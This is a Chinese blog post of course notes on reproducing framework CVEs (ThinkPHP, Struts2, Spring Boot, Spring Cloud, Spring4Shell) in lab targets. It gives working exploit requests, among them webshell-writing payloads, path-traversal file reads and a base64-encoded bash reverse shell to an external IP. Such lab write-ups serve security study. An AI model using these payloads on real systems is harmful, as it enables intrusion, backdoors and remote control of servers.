第81天:服务攻防-开发框架安全&SpringBoot&Struts2&Laravel&ThinkPHP&CVE复现
本文发布于530天前,本文最后更新于528 天前,其中的信息可能已经过时,如有错误请留言或评论。

知识点

  1. PHP-框架安全-Thinkphp&Laravel
  2. J2EE-框架安全-SpringBoot&Struts2

常见语言开发框架

  • PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
    • Thinkphp占百分之80,Laravel占百分之十几
    • YII国外比较多
  • JAVA:Spring MyBatis Hibernate Struts2 Springboot等
    • 早期(17年之前)为Struts2(漏洞最多,去年都有爆,但用的比较少了)
    • 中间过渡(17-20、21)为Spring
    • 当下(21之后)最流行Springboot
  • Python:Django Flask Bottle Turbobars Tornado Web2py等
  • Javascript:Vue.js Node.js Bootstrap JQuery Angular等

组件在框架之下,可以认为是插件

➢PHP-框架安全-Thinkphp&Laravel

Laravel

了解

  • Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。

识别

  • 浏览器插件识别
  • 数据包返回识别,有的会有个laravel_session
  • 真实情况不知道版本号,盲打就可以

CVE-2021-3129 RCE

Thinkphp

了解

  • ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架
  • Thinkphp老程序用的最多是3,最近几年比较火的是5,最新的用的是6
  • 复现的是5、6,3太老了

识别

  • 图标有点像个绿茶
  • 响应包中有的会有X-Powered-By:ThinkPHP
  • 浏览器插件识别
  • 有的访问不存在页面之后报错可以看出
    • 页面显示:页面错误!请稍后再试~
  • Welcome BMH shooting range

Thinkphp-3.X RCE-6.X RCE

我的vulfocus抽风了,一直拉不到thinkphp的镜像。好吧今天起来居然拉好了,昨天可能抽风?

  1. 综合工具:武器库-Thinkphp专检(3-6版本)直接工具一键扫就行
    • thinkphp 命令执行 (CVE-2018-1002015)
    • thinkphp 代码执行 (CNVD-2018-24942)
  2. 6.X lang RCE
    参考文章:https://blog.csdn.net/m0_71518346/article/details/128360317

    这两个payload。。。。,咋感觉有问题,好像用不了?
    ?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['x']);?>+/var/www/html/x.php
    ?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_POST['pass']);?>+/var/www/html/shell.php

    确实创建了文件,但是好像传参没用

➢J2EE-框架安全-SpringBoot&Struts2

Struts2

了解

  • Apache Struts2框架是一个使用JavaEE网络应用程序的Web框架。可能存在OGNL表达注入扩展,从而造成远程代码执行,风险极大。

识别

  • url结尾可能以.action结尾

利用

  • 老版本的直接工具一键打就ok

struts2 代码执行 (CVE-2020-17530)

  • 影响版本:Apache Struts 2.0.0 - 2.5.25
  • 利用项目GitHub地址:https://github.com/YanMu2020/s2-062
    • 使用方式:
      python .\s2-062.py --url http://47.98.193.176:18588/
      若显示有漏洞,则执行命令
      python .\s2-062.py --url http://47.98.193.176:18588/ --cmd id
    • 小迪说这个也可以打19年的那个CVE,但是我这里试了一下,显示失败
      struts059 代码执行 (CVE-2019-0230)

Struts2 代码执行 (CVE-2021-31805)

  • 影响版本:Apache Struts 2.0.0 - 2.5.29
  • 修改exp中执行命令的部分,实现执行自己的命令,执行命令的部分在exec后面的那个url编码中,修改即可,我这里这个exp中是执行反弹shell

SpringBoot

Spring Boot 目录遍历 (CVE-2021-21234)

影响版本

  • Spring-boot-actuator-logview 0.2.13之前版本
    存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件。

发现

  • 黑盒中没办法直接看出来,需要直接盲打,白盒需要看是否引用以及版本对应

测试靶场(两个)

payload

http://47.98.193.176:8908/manage/log/view?filename=etc/passwd&base=../../../../../../
http://127.0.0.1:8887/manage/log/view?filename=/windows/win.ini&base=../../../../../../../

这里读取文件是基于这个项目下面的vulnerability-actuator-log-viewer-master\spring.log\spring.log这个文件为起始位置,所以如果你要是把这个项目放到其他盘不是c盘,上面那个是读取不到你的win.ini的,自己创建个文件,换一下路径读取一下就可以了

Spring Cloud Function Spel表达式注入 CVE-2022-22963

了解

  • Spring Cloud Function提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda这样的 FaaS(函数即服务,function as a service)平台。

影响版本

  • 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

发现

  • 黑盒中没办法直接看出来,需要直接盲打,白盒需要看是否引用以及版本对应

EXP

POST:/functionRouter
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")

修改exec中的base64编码的命令即可。

参考文档:https://developer.aliyun.com/article/1160011

Spring Framework远程代码执行漏洞 CVE-2022-22965

了解

  • Spring Framework是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为J2EE应用程序开发提供了一个好用的框架。

影响版本

  • Spring Framework < 5.3.18,Spring Framework < 5.2.20
  • Spring Framework 的衍生框架构建的网站或应用

EXP

写后门suyou.jsp

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22suyou%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=suyou&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

然后访问jsp触发后门:http://192.168.159.128:25157/suyou.jsp?pwd=suyou&cmd=whoami

额小迪演示的时候出问题是因为不管是post还是get包最后如果没有数据的话要有两行空行(注意是没有数据才要有,不是都要有),小迪复制粘贴的时候把上面那个空行给占了,数据包没有最后两个空行发包就会出问题,大家复制粘贴的时候注意不要选中如图,只将exp替换上面的部分即可,确保数据包下面要是没有数据的话要有两个空行

然后后面的时候小迪抓取到那个工具的包进行修改发包,发现还是无法成功,是因为我测试了一下,这个好像是只有第一次的发包才可以创建,后面不管怎么修改,修改的内容好像是会添加到那个返回包(就是第一次创建的那个jsp的返回包)里面可以看到,但是生效的还是第一次发送的那个包

工具项目

Spring boot命令执行 (CVE-2022-22947)

  • 了解:Spring Cloud Gateway是Spring中的一个API网关。
  • 影响版本:
    • Spring Cloud Gateway 3.1.x < 3.1.1
    • Spring Cloud Gateway 3.0.x < 3.0.7
    • 其他旧的、不受支持的Spring Cloud Gateway 版本
  • 漏洞复现参考文章:https://cloud.tencent.com/developer/article/2164533
  • 额小迪中间post发包又出现问题就是刚才我上面说的那个原因,小迪复制粘贴那个数据包,又把原本数据包里面的那两个空行给粘贴没了,在bp看数据包末有没有空行直接看左边有没有数字即可,这两个数字右边为空行才对
  • 复现:
    注意:我下面给的只有数据包头部的数据包,大家替换时记得也只替换数据包头部,也就是,没有数据的数据包一定记得末尾有两行空行,不然大家发包send之后就会发现在send按钮变灰,并且一直在waiting

    1. 首先,添加一个执行系统命令 id 的恶意 SpEL 表达式的 test 路由,发送如下数据包
      POST /actuator/gateway/routes/suyou HTTP/1.1
      Host: www.luckysec.cn:8080
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate
      Connection: close
      Content-Type: application/json
      Content-Length: 329
      
      {
        "id": "hacktest",
        "filters": [{
          "name": "AddResponseHeader",
          "args": {
            "name": "Result",
            "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
          }
        }],
        "uri": "http://example.com"
      }

      数据包返回Created表示创建成功

    2. 然后,应用刚添加的路由,将触发 SpEL 表达式的执行,发送如下数据包:
      POST /actuator/gateway/refresh HTTP/1.1
      Host: www.luckysec.cn:8080
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 0
      

      返回200 ok

    3. 之后,访问 suyou 路由地址,查看命令执行结果,发送如下数据包:
      GET /actuator/gateway/routes/suyou HTTP/1.1
      Host: www.luckysec.cn:8080
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 0
      
    4. 最后,删除所添加的 test 路由,发送如下数据包:
      DELETE /actuator/gateway/routes/suyou HTTP/1.1
      Host: www.luckysec.cn:8080
      User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate
      Connection: close
      Content-Length: 0
      

监控配置不当利用

综合CVE利用工具

参考

学习内容均来自小迪安全系列课程:http://xiaodi8.com/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇